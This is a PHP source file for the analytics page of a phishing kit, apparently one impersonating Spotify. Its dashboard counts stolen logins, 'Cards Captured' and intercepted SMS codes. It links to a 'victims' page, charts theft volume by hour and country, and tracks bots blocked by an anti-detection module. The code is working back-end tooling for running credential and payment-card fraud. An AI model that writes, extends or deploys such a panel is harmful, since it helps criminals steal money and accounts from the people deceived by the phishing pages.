<?php
/**
 * Advanced Analytics Dashboard
 * Real-time charts and statistics
 */

require_once 'auth.php';
require_once __DIR__ . '/../includes/Cache.php';
require_once __DIR__ . '/../includes/AntiBot.php';
require_once __DIR__ . '/../includes/Analytics.php';

$stats = Analytics::getStats();
$chartData = Analytics::getChartData();
$funnel = Analytics::getConversionFunnel();
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Analytics - Spotify Panel Pro</title>
    <link rel="icon" href="https://www.scdn.co/i/_global/favicon.png">
    <script src="https://cdn.jsdelivr.net/npm/chart.js@4.4.0/dist/chart.umd.min.js"></script>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
            background: linear-gradient(135deg, #1e3c72 0%, #1e3c72 1%, #2a5298 100%);
            color: #fff;
            min-height: 100vh;
            padding: 20px;
        }
        
        .container { max-width: 1400px; margin: 0 auto; }
        
        .header {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 20px 30px;
            border-radius: 15px;
            margin-bottom: 30px;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        
        .header h1 {
            font-size: 28px;
            display: flex;
            align-items: center;
            gap: 15px;
        }
        
        .header .logo {
            width: 40px;
            height: 40px;
            background: #1ed760;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 24px;
        }
        
        .nav-links {
            display: flex;
            gap: 15px;
        }
        
        .nav-links a {
            color: #fff;
            text-decoration: none;
            padding: 10px 20px;
            background: rgba(255,255,255,0.1);
            border-radius: 25px;
            transition: all 0.3s;
        }
        
        .nav-links a:hover {
            background: #1ed760;
            transform: translateY(-2px);
        }
        
        .stats-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        
        .stat-card {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 25px;
            border-radius: 15px;
            border: 1px solid rgba(255,255,255,0.2);
        }
        
        .stat-card .icon {
            font-size: 36px;
            margin-bottom: 10px;
        }
        
        .stat-card .label {
            font-size: 14px;
            opacity: 0.8;
            margin-bottom: 5px;
        }
        
        .stat-card .value {
            font-size: 32px;
            font-weight: bold;
            color: #1ed760;
        }
        
        .chart-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(400px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        
        .chart-card {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 25px;
            border-radius: 15px;
            border: 1px solid rgba(255,255,255,0.2);
        }
        
        .chart-card h3 {
            margin-bottom: 20px;
            font-size: 18px;
        }
        
        .chart-container {
            position: relative;
            height: 300px;
        }
        
        .funnel-container {
            display: flex;
            flex-direction: column;
            gap: 15px;
        }
        
        .funnel-step {
            background: rgba(255,255,255,0.05);
            padding: 15px 20px;
            border-radius: 10px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            position: relative;
            overflow: hidden;
        }
        
        .funnel-step::before {
            content: '';
            position: absolute;
            left: 0;
            top: 0;
            height: 100%;
            background: linear-gradient(90deg, #1ed760, #1db954);
            opacity: 0.3;
            transition: width 0.5s;
        }
        
        .funnel-step:nth-child(1)::before { width: 100%; }
        .funnel-step:nth-child(2)::before { width: 75%; }
        .funnel-step:nth-child(3)::before { width: 50%; }
        .funnel-step:nth-child(4)::before { width: 25%; }
        
        .funnel-step .info {
            position: relative;
            z-index: 1;
        }
        
        .funnel-step .label {
            font-size: 14px;
            opacity: 0.8;
        }
        
        .funnel-step .value {
            font-size: 24px;
            font-weight: bold;
            color: #1ed760;
        }
        
        .funnel-step .rate {
            position: relative;
            z-index: 1;
            font-size: 18px;
            font-weight: bold;
        }
        
        .country-list {
            display: flex;
            flex-direction: column;
            gap: 10px;
            max-height: 400px;
            overflow-y: auto;
        }
        
        .country-item {
            background: rgba(255,255,255,0.05);
            padding: 12px 15px;
            border-radius: 8px;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        
        .country-item .flag {
            font-size: 24px;
            margin-right: 10px;
        }
        
        .country-item .name {
            flex: 1;
        }
        
        .country-item .count {
            font-weight: bold;
            color: #1ed760;
            font-size: 18px;
        }
        
        @media (max-width: 768px) {
            .chart-grid {
                grid-template-columns: 1fr;
            }
            .stats-grid {
                grid-template-columns: repeat(2, 1fr);
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <!-- Header -->
        <div class="header">
            <h1>
                <div class="logo">📊</div>
                Advanced Analytics
            </h1>
            <div class="nav-links">
                <a href="index.php">🏠 Dashboard</a>
                <a href="victims.php">👥 Victims</a>
                <a href="settings.php">⚙️ Settings</a>
            </div>
        </div>
        
        <!-- Stats Overview -->
        <div class="stats-grid">
            <div class="stat-card">
                <div class="icon">👁️</div>
                <div class="label">Total Visits</div>
                <div class="value"><?= number_format($stats['total_visits']) ?></div>
            </div>
            <div class="stat-card">
                <div class="icon">🔐</div>
                <div class="label">Total Logins</div>
                <div class="value"><?= number_format($stats['total_logins']) ?></div>
            </div>
            <div class="stat-card">
                <div class="icon">💳</div>
                <div class="label">Cards Captured</div>
                <div class="value"><?= number_format($stats['total_cards']) ?></div>
            </div>
            <div class="stat-card">
                <div class="icon">📱</div>
                <div class="label">SMS Codes</div>
                <div class="value"><?= number_format($stats['total_sms']) ?></div>
            </div>
            <div class="stat-card">
                <div class="icon">🚫</div>
                <div class="label">Bots Blocked</div>
                <div class="value"><?= number_format($stats['total_blocked']) ?></div>
            </div>
            <div class="stat-card">
                <div class="icon">📈</div>
                <div class="label">Conversion Rate</div>
                <div class="value"><?= $stats['conversion_rate'] ?>%</div>
            </div>
        </div>
        
        <!-- Conversion Funnel -->
        <div class="chart-card" style="margin-bottom: 30px;">
            <h3>🎯 Conversion Funnel</h3>
            <div class="funnel-container">
                <div class="funnel-step">
                    <div class="info">
                        <div class="label">Visits</div>
                        <div class="value"><?= number_format($funnel['visits']) ?></div>
                    </div>
                    <div class="rate">100%</div>
                </div>
                <div class="funnel-step">
                    <div class="info">
                        <div class="label">Logins</div>
                        <div class="value"><?= number_format($funnel['logins']) ?></div>
                    </div>
                    <div class="rate"><?= $funnel['conversion_rates']['visit_to_login'] ?>%</div>
                </div>
                <div class="funnel-step">
                    <div class="info">
                        <div class="label">Cards</div>
                        <div class="value"><?= number_format($funnel['cards']) ?></div>
                    </div>
                    <div class="rate"><?= $funnel['conversion_rates']['login_to_card'] ?>%</div>
                </div>
                <div class="funnel-step">
                    <div class="info">
                        <div class="label">SMS Verified</div>
                        <div class="value"><?= number_format($funnel['sms']) ?></div>
                    </div>
                    <div class="rate"><?= $funnel['conversion_rates']['card_to_sms'] ?>%</div>
                </div>
            </div>
        </div>
        
        <!-- Charts -->
        <div class="chart-grid">
            <!-- Hourly Activity -->
            <div class="chart-card">
                <h3>⏰ Hourly Activity</h3>
                <div class="chart-container">
                    <canvas id="hourlyChart"></canvas>
                </div>
            </div>
            
            <!-- Daily Trend -->
            <div class="chart-card">
                <h3>📅 Daily Trend</h3>
                <div class="chart-container">
                    <canvas id="dailyChart"></canvas>
                </div>
            </div>
            
            <!-- Top Countries -->
            <div class="chart-card">
                <h3>🌍 Top Countries</h3>
                <div class="country-list">
                    <?php foreach ($stats['country_stats'] as $country => $data): ?>
                    <div class="country-item">
                        <span class="flag"><?= $data['flag'] ?></span>
                        <span class="name"><?= htmlspecialchars($country) ?></span>
                        <span class="count"><?= $data['count'] ?></span>
                    </div>
                    <?php endforeach; ?>
                </div>
            </div>
            
            <!-- Country Distribution -->
            <div class="chart-card">
                <h3>🗺️ Geographic Distribution</h3>
                <div class="chart-container">
                    <canvas id="countryChart"></canvas>
                </div>
            </div>
        </div>
    </div>
    
    <script>
        // Chart.js configuration
        Chart.defaults.color = '#fff';
        Chart.defaults.borderColor = 'rgba(255,255,255,0.1)';
        
        const chartOptions = {
            responsive: true,
            maintainAspectRatio: false,
            plugins: {
                legend: {
                    display: false
                }
            },
            scales: {
                y: {
                    beginAtZero: true,
                    grid: {
                        color: 'rgba(255,255,255,0.1)'
                    }
                },
                x: {
                    grid: {
                        color: 'rgba(255,255,255,0.1)'
                    }
                }
            }
        };
        
        // Hourly Chart
        new Chart(document.getElementById('hourlyChart'), {
            type: 'line',
            data: {
                labels: <?= json_encode($chartData['hourly']['labels']) ?>,
                datasets: [{
                    label: 'Activity',
                    data: <?= json_encode($chartData['hourly']['data']) ?>,
                    borderColor: '#1ed760',
                    backgroundColor: 'rgba(30, 215, 96, 0.1)',
                    fill: true,
                    tension: 0.4
                }]
            },
            options: chartOptions
        });
        
        // Daily Chart
        new Chart(document.getElementById('dailyChart'), {
            type: 'bar',
            data: {
                labels: <?= json_encode($chartData['daily']['labels']) ?>,
                datasets: [{
                    label: 'Cards',
                    data: <?= json_encode($chartData['daily']['data']) ?>,
                    backgroundColor: '#1ed760'
                }]
            },
            options: chartOptions
        });
        
        // Country Chart
        new Chart(document.getElementById('countryChart'), {
            type: 'doughnut',
            data: {
                labels: <?= json_encode($chartData['countries']['labels']) ?>,
                datasets: [{
                    data: <?= json_encode($chartData['countries']['data']) ?>,
                    backgroundColor: [
                        '#1ed760', '#1db954', '#1aa34a', '#178d3f', '#147735',
                        '#11612b', '#0e4b21', '#0b3517', '#081f0d', '#050903'
                    ]
                }]
            },
            options: {
                responsive: true,
                maintainAspectRatio: false,
                plugins: {
                    legend: {
                        position: 'right',
                        labels: {
                            color: '#fff',
                            padding: 15
                        }
                    }
                }
            }
        });
        
        // Auto-refresh every 30 seconds
        setTimeout(() => location.reload(), 30000);
    </script>
</body>
</html>
